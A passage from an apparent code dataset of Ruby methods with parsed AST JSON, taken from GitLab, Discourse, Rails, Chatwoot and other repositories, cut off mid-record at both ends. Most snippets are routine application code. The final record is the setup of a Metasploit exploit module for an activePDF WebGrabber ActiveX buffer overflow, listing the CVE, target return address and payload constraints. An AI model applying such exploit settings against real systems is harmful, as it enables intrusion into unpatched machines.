read.wait_readable(current_timeout_s)\n\n          if ::StackProf.running?\n            stackprof_file_prefix = ENV['STACKPROF_FILE_PREFIX'] || DEFAULT_FILE_PREFIX\n            stackprof_out_file = \"#{stackprof_file_prefix}/stackprof.#{Process.pid}.#{SecureRandom.hex(6)}.profile\"\n\n            log_event(\n              'stopping profile',\n              profile_filename: stackprof_out_file,\n              profile_timeout_s: timeout_s\n            )\n\n            ::StackProf.stop\n            ::StackProf.results(stackprof_out_file)\n            current_timeout_s = nil\n          else\n            mode = ENV['STACKPROF_MODE']&.to_sym || DEFAULT_MODE\n            stackprof_interval = ENV['STACKPROF_INTERVAL']&.to_i\n            stackprof_interval ||= interval(mode)\n\n            log_event(\n              'starting profile',\n              profile_mode: mode,\n              profile_interval: stackprof_interval,\n              profile_timeout: timeout_s\n            )\n\n            ::StackProf.start(\n              mode: mode,\n              raw: Gitlab::Utils.to_boolean(ENV['STACKPROF_RAW'] || 'true'),\n              interval: stackprof_interval\n            )\n            current_timeout_s = timeout_s\n          end\n        end\n      rescue StandardError => e\n        log_event(\"stackprof failed: #{e}\")\n      end\n      t.abort_on_exception = true\n\n      # in the case of puma, this will override the existing SIGUSR2 signal handler\n      # that can be used to trigger a restart.\n      #\n      # puma cluster has two types of restarts:\n      # * SIGUSR1: phased restart\n      # * SIGUSR2: restart\n      #\n      # phased restart is not supported in our configuration, because we use\n      # preload_app. this means we will always perform a normal restart.\n      # additionally, phased restart is not supported when sending a SIGUSR2\n      # directly to a puma worker (as opposed to the master process).\n      #\n      # the result is that the behaviour of SIGUSR1 and SIGUSR2 is identical in\n      # our configuration, and we can always use a SIGUSR1 to perform a restart.\n      #\n      # thus, it is acceptable for us to re-appropriate the SIGUSR2 signal, and\n      # override the puma behaviour.\n      #\n      # see also:\n      # * https://github.com/puma/puma/blob/master/docs/signals.md#puma-signals\n      # * https://github.com/mperham/sidekiq/wiki/Signals\n      Signal.trap('SIGUSR2') do\n        write.write('.')\n      end\n    end","complexity_score":77.78,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"on_worker_start\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_event\",{\"type\":\"str\",\"children\":[\"listening for SIGUSR2 signal\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"read\"]},{\"type\":\"lvasgn\",\"children\":[\"write\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IO\"]},\"pipe\"]}]},{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"timeout_s\",{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"STACKPROF_TIMEOUT_S\"]}]},\"to_i\"]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_TIMEOUT_SEC\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"current_timeout_s\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"read\"]},\"wait_readable\",{\"type\":\"lvar\",\"children\":[\"current_timeout_s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"read\"]},\"getbyte\"]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"StackProf\"]},\"running?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stackprof_file_prefix\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"STACKPROF_FILE_PREFIX\"]}]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_FILE_PREFIX\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"stackprof_out_file\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stackprof_file_prefix\"]}]},{\"type\":\"str\",\"children\":[\"/stackprof.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"pid\"]}]},{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"hex\",{\"type\":\"int\",\"children\":[6]}]}]},{\"type\":\"str\",\"children\":[\".profile\"]}]}]},{\"type\":\"send\",\"children\":[null,\"log_event\",{\"type\":\"str\",\"children\":[\"stopping profile\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"profile_filename\"]},{\"type\":\"lvar\",\"children\":[\"stackprof_out_file\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"profile_timeout_s\"]},{\"type\":\"lvar\",\"children\":[\"timeout_s\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"StackProf\"]},\"stop\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"StackProf\"]},\"results\",{\"type\":\"lvar\",\"children\":[\"stackprof_out_file\"]}]},{\"type\":\"lvasgn\",\"children\":[\"current_timeout_s\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mode\",{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"STACKPROF_MODE\"]}]},\"to_sym\"]},{\"type\":\"const\",\"children\":[null,\"DEFAULT_MODE\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"stackprof_interval\",{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"STACKPROF_INTERVAL\"]}]},\"to_i\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"stackprof_interval\"]},{\"type\":\"send\",\"children\":[null,\"interval\",{\"type\":\"lvar\",\"children\":[\"mode\"]}]}]},{\"type\":\"send\",\"children\":[null,\"log_event\",{\"type\":\"str\",\"children\":[\"starting profile\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"profile_mode\"]},{\"type\":\"lvar\",\"children\":[\"mode\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"profile_interval\"]},{\"type\":\"lvar\",\"children\":[\"stackprof_interval\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"profile_timeout\"]},{\"type\":\"lvar\",\"children\":[\"timeout_s\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"StackProf\"]},\"start\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"mode\"]},{\"type\":\"lvar\",\"children\":[\"mode\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Utils\"]},\"to_boolean\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"STACKPROF_RAW\"]}]},{\"type\":\"str\",\"children\":[\"true\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"interval\"]},{\"type\":\"lvar\",\"children\":[\"stackprof_interval\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"current_timeout_s\",{\"type\":\"lvar\",\"children\":[\"timeout_s\"]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"log_event\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"stackprof failed: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"abort_on_exception=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Signal\"]},\"trap\",{\"type\":\"str\",\"children\":[\"SIGUSR2\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"write\"]},\"write\",{\"type\":\"str\",\"children\":[\".\"]}]}]}]}]}","id":"3d87d284-a125-446d-9183-0459178410ca"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/authn/tokens/deploy_token.rb","start_line":49,"raw_source":"def project_revoke_service\n        ::Projects::DeployTokens::RevokeService.new(\n          project: revocable.project,\n          current_user: current_user,\n          params: { id: revocable.id }\n        )\n      end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"project_revoke_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Projects\"]},\"DeployTokens\"]},\"RevokeService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"revocable\"]},\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"revocable\"]},\"id\"]}]}]}]}]}]}]}","id":"ed72c6dd-7ba4-4ff0-aa16-23b733976d12"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/config.rb","start_line":139,"raw_source":"def normalizer_errors\n        normalizer.errors\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"normalizer_errors\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"normalizer\"]},\"errors\"]}]}","id":"ae5094fb-0e0d-43ed-a2c0-50c1eb0a2f20"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/importer/note_attachments_importer.rb","start_line":61,"raw_source":"def convert_project_content_link(attachment_url, import_source)\n          path_without_domain = attachment_url.gsub(web_endpoint, '')\n          path_without_import_source = path_without_domain.gsub(import_source, '').delete_prefix('/')\n          path_with_blob_prefix = \"/-#{path_without_import_source}\"\n\n          ::Gitlab::Routing.url_helpers.project_url(project) + path_with_blob_prefix\n        end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"convert_project_content_link\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attachment_url\"]},{\"type\":\"arg\",\"children\":[\"import_source\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"path_without_domain\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment_url\"]},\"gsub\",{\"type\":\"send\",\"children\":[null,\"web_endpoint\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path_without_import_source\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path_without_domain\"]},\"gsub\",{\"type\":\"lvar\",\"children\":[\"import_source\"]},{\"type\":\"str\",\"children\":[\"\"]}]},\"delete_prefix\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path_with_blob_prefix\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path_without_import_source\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Routing\"]},\"url_helpers\"]},\"project_url\",{\"type\":\"send\",\"children\":[null,\"project\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"path_with_blob_prefix\"]}]}]}]}","id":"9041a568-9181-48a4-8ea9-083125866361"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/viewer_hunk.rb","start_line":74,"raw_source":"def self.valid_closest_line_number?(bottom, closest_line_number, first_pos, last_pos)\n        return false if closest_line_number.nil? || closest_line_number < 0\n\n        closest_line_number == 0 || (\n\n          if bottom\n            last_pos < closest_line_number\n          else\n            closest_line_number < first_pos\n          end\n\n        )\n      end","complexity_score":9.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"valid_closest_line_number?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"bottom\"]},{\"type\":\"arg\",\"children\":[\"closest_line_number\"]},{\"type\":\"arg\",\"children\":[\"first_pos\"]},{\"type\":\"arg\",\"children\":[\"last_pos\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"closest_line_number\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"closest_line_number\"]},\"<\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"closest_line_number\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bottom\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"last_pos\"]},\"<\",{\"type\":\"lvar\",\"children\":[\"closest_line_number\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"closest_line_number\"]},\"<\",{\"type\":\"lvar\",\"children\":[\"first_pos\"]}]}]}]}]}]}]}","id":"1b4fd6ad-9a04-497f-bc48-5866ed6532ad"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/enterprise/app/controllers/api/v1/auth_controller.rb","start_line":30,"raw_source":"def find_saml_enabled_account\n    user = User.from_email(@email)\n    return render_saml_error unless user\n\n    account_user = find_account_with_saml(user)\n    return render_saml_error unless account_user\n\n    @account = account_user.account\n  end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_saml_enabled_account\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"from_email\",{\"type\":\"ivar\",\"children\":[\"@email\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_saml_error\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"account_user\",{\"type\":\"send\",\"children\":[null,\"find_account_with_saml\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account_user\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_saml_error\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@account\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"account_user\"]},\"account\"]}]}]}]}","id":"bc06070a-0645-4656-9d34-cab061a0a5f9"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/quandora/quandora_api.rb","start_line":49,"raw_source":"def get_question(question_id)\n    url = \"#{base_url @domain}/q/#{question_id}\"\n    response = request url\n    response[\"data\"]\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"get_question\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"question_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_url\",{\"type\":\"ivar\",\"children\":[\"@domain\"]}]}]},{\"type\":\"str\",\"children\":[\"/q/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"question_id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"request\",{\"type\":\"lvar\",\"children\":[\"url\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"[]\",{\"type\":\"str\",\"children\":[\"data\"]}]}]}]}","id":"f8d964d3-dcc0-4625-962d-d8c077570447"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/pdf/common/view.rb","start_line":147,"raw_source":"def register_base_font!(family, font_path, document)\n    register_font_family!(family, resolved_font_files(family, font_path, variant: :base), document)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"register_base_font!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"family\"]},{\"type\":\"arg\",\"children\":[\"font_path\"]},{\"type\":\"arg\",\"children\":[\"document\"]}]},{\"type\":\"send\",\"children\":[null,\"register_font_family!\",{\"type\":\"lvar\",\"children\":[\"family\"]},{\"type\":\"send\",\"children\":[null,\"resolved_font_files\",{\"type\":\"lvar\",\"children\":[\"family\"]},{\"type\":\"lvar\",\"children\":[\"font_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"variant\"]},{\"type\":\"sym\",\"children\":[\"base\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"document\"]}]}]}","id":"be13ed13-70ca-462d-b0d1-267124419295"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/middleware/host_authorization.rb","start_line":91,"raw_source":"def call(env)\n        request = Request.new(env)\n        format = request.xhr? ? \"text/plain\" : \"text/html\"\n\n        log_error(request)\n        response(format, response_body(request))\n      end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Request\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"format\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"xhr?\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"str\",\"children\":[\"text/html\"]}]}]},{\"type\":\"send\",\"children\":[null,\"log_error\",{\"type\":\"lvar\",\"children\":[\"request\"]}]},{\"type\":\"send\",\"children\":[null,\"response\",{\"type\":\"lvar\",\"children\":[\"format\"]},{\"type\":\"send\",\"children\":[null,\"response_body\",{\"type\":\"lvar\",\"children\":[\"request\"]}]}]}]}]}","id":"c5f164fd-384b-44e3-97f0-08e496a4e89c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240724182445_update_finish_status_for_bbm_migrations.rb","start_line":83,"raw_source":"def up\n    BatchedMigration\n      .where(status: FINISHED_STATUS, job_class_name: JOB_CLASS_NAMES)\n      .update_all(status: FINALIZED_STATUS)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"BatchedMigration\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[null,\"FINISHED_STATUS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"job_class_name\"]},{\"type\":\"const\",\"children\":[null,\"JOB_CLASS_NAMES\"]}]}]}]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"const\",\"children\":[null,\"FINALIZED_STATUS\"]}]}]}]}]}","id":"0048f935-3e05-473a-9b86-3b857d7cf2ab"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/onpdiff.rb","start_line":23,"raw_source":"def short_diff\n    @short_diff ||= build_short_edit_script(compose)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"short_diff\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@short_diff\"]},{\"type\":\"send\",\"children\":[null,\"build_short_edit_script\",{\"type\":\"send\",\"children\":[null,\"compose\"]}]}]}]}","id":"0b96ce28-a43e-4939-8773-7c0b972b8ec1"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/utils/best_effort_json_parser.rb","start_line":27,"raw_source":"def remove_markdown_fences(text)\n          return text unless text.match?(/^```(?:json)?\\s*\\n/i)\n\n          text.gsub(/^```(?:json)?\\s*\\n/i, \"\").gsub(/\\n```\\s*$/, \"\")\n        end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_markdown_fences\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"match?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^```(?:json)?\\\\s*\\\\n\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^```(?:json)?\\\\s*\\\\n\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\n```\\\\s*$\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}","id":"598f2a63-2921-4eb1-8111-92a93b3f4318"}
{"repo_name":"forem","file_path":"./repos/forem/vendor/cache/acts_as_follower-06393d3693a1/lib/acts_as_follower/follow_scopes.rb","start_line":10,"raw_source":"def for_followable(followable)\n      where(followable_id: followable.id, followable_type: parent_class_name(followable))\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"for_followable\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"followable\"]}]},{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"followable_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"followable\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"followable_type\"]},{\"type\":\"send\",\"children\":[null,\"parent_class_name\",{\"type\":\"lvar\",\"children\":[\"followable\"]}]}]}]}]}]}","id":"cf67320c-c625-43d6-88b6-0c8d5fcec3c9"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/activepdf_webgrabber.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'activePDF WebGrabber ActiveX Control Buffer Overflow',\n        'Description' => %q{\n          This module exploits a stack buffer overflow in activePDF WebGrabber 3.8. When\n          sending an overly long string to the GetStatus() method of APWebGrb.ocx (3.8.2.0)\n          an attacker may be able to execute arbitrary code. This control is not marked safe\n          for scripting, so choose your attack vector accordingly.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [ 'MC' ],\n        'References' => [\n          [ 'CVE', '2008-20001' ],\n          [ 'OSVDB', '64579'],\n          [ 'URL', 'http://www.activepdf.com/products/serverproducts/webgrabber/' ],\n        ],\n        'DefaultOptions' => {\n          'EXITFUNC' => 'process',\n          'DisablePayloadHandler' => true\n        },\n        'Payload' => {\n          'Space' => 1024,\n          'BadChars' => \"\\x00\",\n        },\n        'Platform' => 'win',\n        'Targets' => [\n          [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]\n        ],\n        'DisclosureDate' => '2008-08-26',\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('FILENAME', [ false, 'The file name.', 'msf.html']),\n      ]\n    )\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"activePDF WebGrabber ActiveX Control Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a stack buffer overflow in activePDF WebGrabber 3.8. When\\n\"]},{\"type\":\"str\",\"children\":[\"          sending an overly long string to the GetStatus() method of APWebGrb.ocx (3.8.2.0)\\n\"]},{\"type\":\"str\",\"children\":[\"          an attacker may be able to execute arbitrary code. This control is not marked safe\\n\"]},{\"type\":\"str\",\"children\":[\"          for scripting, so choose your attack vector accordingly.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"MC\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2008-20001\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"64579\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.activepdf.com/products/serverproducts/webgrabber/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"EXITFUNC\"]},{\"type\":\"str\",\"children\":[\"process\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisablePayloadHandler\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\"